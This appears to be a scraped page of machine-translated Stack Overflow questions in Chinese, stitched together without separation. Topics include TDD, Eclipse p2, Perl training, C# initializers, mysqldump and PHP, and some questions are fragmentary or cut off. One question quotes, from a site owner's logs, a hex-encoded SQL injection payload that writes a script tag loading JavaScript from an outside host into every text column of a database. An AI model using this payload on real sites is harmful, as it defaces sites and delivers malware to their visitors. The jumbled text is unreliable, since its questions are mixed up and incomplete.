我正在努力改进我们小组的开发过程,我正在考虑如何最好地实现与测试驱动开发合同设计.看来这两种技术有很多重叠,我想知道是否有人对以下(相关)问题有所了解:
这些问题的主要问题是这个更普遍的问题:如果我们已经正确地进行了TDD,如果我们也使用DbC,我们是否会从开销中获得显着的好处?
一些细节,虽然我认为这个问题主要与语言无关:
Eclipse 3.4 [.x] - 也称为Ganymede - 带有这种称为p2的新配置机制.
"供应"是允许按需发现和更新应用程序某些部分的过程,如Sun Web站点上的本文中所述.
Eclipse有一个扩展的 wiki部分,其中显示了p2详细信息.具体来说,它在这个wiki页面中说p2将寻找新组件但是在阅读之后.
我想(但你可以根据自己的经验确认这一点),p2可以运行文件"file://"协议,这将允许它使用本地文件(在您的计算机上或在UNC路径'\ server上)\path'),如此处所示,也可以通过文件:
p2机制用于通过eclipse 3.4更新站点更新eclipse本身,并在那些'.prefs'文件中引用,如下所示:
库/文件:_C:_jv_eclipse_eclipse-SDK-3.4-win32_eclipse/URL =文件:/ C:/jv/eclipse/eclipse-SDK-3.4-win32/eclipse/
现在,我如何将该更新站点中存在的eclipse组件复制到本地目录中,并通过提到的".prefs"文件引用这些组件,以使升级过程完全在本地运行,而无需访问Web?
我想,远程"更新站点"中存在的某些p2元数据文件也需要复制和更改.
你对此有什么想法/建议/提示吗?(即如何发现和检索并更新完整eclipse安装所需的完整结构,以便在本地运行该安装)
我有一个面向公众的网站,过去几周一直在接受一些SQL注入攻击.我专门使用参数化存储过程,所以我认为没有成功的攻击,但最近的日志显示了一个有趣的技术:
为清晰起见添加了换行符
http://www.mydummysite.uk/mypage.asp?l_surname=Z;DECLARE%20@S%20CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263 686172283430303029204445434C415245205461626C655F437572736F7220435552534F 5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F 626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E69 6420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F72 20622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970 653D31363729204F50454E205461626C655F437572736F72204645544348204E45585420 46524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528 404046455443485F5354415455533D302920424547494E20657865632827757064617465 205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C 736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F6373 7273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D2077 6865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73 6372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F637372 73732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E455854 2046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E442043 4C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43 7572736F72 AS CHAR(4000));EXEC(@S);&_X="
任何人都可以了解"CAST和EXEC"试图做些什么吗?
我已经和Perl一起工作了很长时间,以至于它的许多特性已成为我的第二天性.当新程序员加入我们的小组时,他们经常对Perl几乎没有经验,而且通常我的任务是训练它们(在必要的程度上).我想知道在培训一个刚接触Perl但具有其他语言经验的程序员时应该关注什么(这个问题与语言无关,但我与之合作的大多数开发人员都来自Java).
我发生了一些事情:
在帮助程序员过渡到Perl时,您是否发现重点关注有什么特别之处?您是否同等重视相似性或差异性,或两者兼而有之?
我们都知道,对我们的代码进行评论是编码风格的一个重要部分,可以使我们的代码可以理解为下一个人,或者甚至是我们在6个月左右的时间.
然而,有时评论只是没有削减芥末.我不是在谈论明显的笑话或排泄沮丧,我说的是那些似乎试图解释的评论,但这样做很差,他们可能也不会在那里.评论太短,太神秘,或者只是完全错误.
作为一个故事,你能否分享你所看到的那些真的那么糟糕的东西,如果不是很明显,请展示它所指的代码并指出它有什么问题?什么应该在那里,而不是已经走了吗?
也可以看看:
在使用C#应用程序时,我只是注意到在几个地方静态初始化程序彼此依赖,如下所示:
static private List<int> a = new List<int>() { 0 };
static private List<int> b = new List<int>() { a[0] };
Run Code Online (Sandbox Code Playgroud)
没有做任何有用的特殊工作.这只是运气吗?C#有解决这个问题的规则吗?
编辑:( re:Panos)在一个文件中,词汇顺序似乎是王道?跨文件怎么样?
看起来我尝试了这样的周期性依赖:
static private List<int> a = new List<int>() { b[0] };
static private List<int> b = new List<int>() { a[0] };
Run Code Online (Sandbox Code Playgroud)
并且该程序没有运行相同(测试套装全面失败,我没有看得更远).
我正在使用mysqldump在特定计算机上的帐户之间复制数据库.一切都很有效,除非我们到达定义的视图.因为转储包含如下所示的行...
/*!50013 DEFINER=`user_a`@`localhost` SQL SECURITY DEFINER */
Run Code Online (Sandbox Code Playgroud)
...当在user_b上将转储加载到mysql时,我们收到一个错误:
ERROR 1227 (42000) at line 657: Access denied; you need the SUPER privilege for this operation
Run Code Online (Sandbox Code Playgroud)
不用说,我对这个mysql实例没有SUPER特权.有没有办法说服mysqldump以用户无关的方式转储视图?关于这一点,我在手册中找不到任何内容.我是否必须实际解析dumpfile以替换用户名?或者我错过了什么?
嗨,我是scrum方法的新手,并寻求一些帮助以熟悉环境,并想知道是否需要一个桶来跟踪开发人员和QA花在部署和错误修复和重新测试上的时间.似乎它可能会对图表产生重大影响.
假设我的类是从压缩的.war文件加载或加载到其他地方的,我怎样才能发现给定包中的所有资源?枚举文件不会真正起作用,因为这是一个war文件.这很可能涉及使用当前的类加载器?
那里有一个图书馆吗?谷歌搜索显示只有一些黑客与列表文件.
在PHP中,我可以使用普通函数作为变量而没有问题,但我还没有弄清楚如何使用静态方法.我只是错过了正确的语法,或者这是不可能的?
(编辑:第一个建议的答案似乎不起作用.我已扩展我的示例以显示返回的错误.)
function foo1($a,$b) { return $a/$b; }
class Bar
{
static function foo2($a,$b) { return $a/$b; }
public function UseReferences()
{
// WORKS FINE:
$fn = foo1;
print $fn(1,1);
// WORKS FINE:
print self::foo2(2,1);
print Bar::foo2(3,1);
// DOES NOT WORK ... error: Undefined class constant 'foo2'
//$fn = self::foo2;
//print $fn(4,1);
// DOES NOT WORK ... error: Call to undefined function self::foo2()
//$fn = 'self::foo2';
//print $fn(5,1);
// DOES NOT WORK ... error: Call to undefined function Bar::foo2()
//$fn …Run Code Online (Sandbox Code Playgroud)